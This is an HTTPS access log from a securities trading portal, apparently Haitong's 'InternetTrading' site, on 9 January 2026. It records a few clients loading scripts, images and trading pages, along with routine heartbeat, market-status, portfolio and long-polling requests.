[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161913 HTTP/1.1" 1372
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161913 HTTP/1.1" 1781
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/translation.js?jsv=20200819161913 HTTP/1.1" 12866
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161913 HTTP/1.1" 1017
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161913 HTTP/1.1" 1575
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161913 HTTP/1.1" 856
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161913 HTTP/1.1" 2300
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161913 HTTP/1.1" 1567
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161913 HTTP/1.1" 2482
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161913 HTTP/1.1" 30725
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161913 HTTP/1.1" 1564
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161913 HTTP/1.1" 2656
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161913 HTTP/1.1" 2712
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161913 HTTP/1.1" 5726
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161913 HTTP/1.1" 908
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161913 HTTP/1.1" 487
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161913 HTTP/1.1" 1364
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161913 HTTP/1.1" 6874
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161913 HTTP/1.1" 562
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161913 HTTP/1.1" 2178
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161913 HTTP/1.1" 272
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161913 HTTP/1.1" 146
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161913 HTTP/1.1" 982
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161913 HTTP/1.1" 1206
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161913 HTTP/1.1" 2043
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161913 HTTP/1.1" 2106
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161913 HTTP/1.1" 29
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161913 HTTP/1.1" 3099
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161913 HTTP/1.1" 1730
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161913 HTTP/1.1" 1362
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161913 HTTP/1.1" 6736
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161913 HTTP/1.1" 303
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161913 HTTP/1.1" 481
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161913 HTTP/1.1" 1658
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161913 HTTP/1.1" 199
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161913 HTTP/1.1" 4816
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161913 HTTP/1.1" 27
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161913 HTTP/1.1" 980
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161913 HTTP/1.1" 418
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu01.jpg HTTP/1.1" 3582
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu04.jpg HTTP/1.1" 3470
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu_logout.jpg HTTP/1.1" 2595
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/dialog.html?1767940442743 HTTP/1.1" 3179
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 125
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu04.jpg HTTP/1.1" 3470
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/trade.html HTTP/1.1" 2115
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu01_o.jpg HTTP/1.1" 3474
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/buy_ticket.html? HTTP/1.1" 1996
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=sc HTTP/1.1" 293
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:29:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940443596 HTTP/1.1" -
[09/Jan/2026:14:29:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940459724 HTTP/1.1" -
[09/Jan/2026:14:29:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940450984 HTTP/1.1" -
[09/Jan/2026:14:29:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 228
[09/Jan/2026:14:29:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:29:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:29:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:14:29:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940445034 HTTP/1.1" -
[09/Jan/2026:14:29:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/account_status.html HTTP/1.1" 426
[09/Jan/2026:14:29:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:29:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1841
[09/Jan/2026:14:29:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:29:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:29:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:29:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940448724 HTTP/1.1" -
[09/Jan/2026:14:29:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940464800 HTTP/1.1" -
[09/Jan/2026:14:29:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940456069 HTTP/1.1" -
[09/Jan/2026:14:29:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940450054 HTTP/1.1" -
[09/Jan/2026:14:29:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940453786 HTTP/1.1" -
[09/Jan/2026:14:29:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940469860 HTTP/1.1" -
[09/Jan/2026:14:29:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940461102 HTTP/1.1" -
[09/Jan/2026:14:29:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940455076 HTTP/1.1" -
[09/Jan/2026:14:29:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940474913 HTTP/1.1" -
[09/Jan/2026:14:29:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940458932 HTTP/1.1" -
[09/Jan/2026:14:29:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940466197 HTTP/1.1" -
[09/Jan/2026:14:29:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940460119 HTTP/1.1" -
[09/Jan/2026:14:29:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
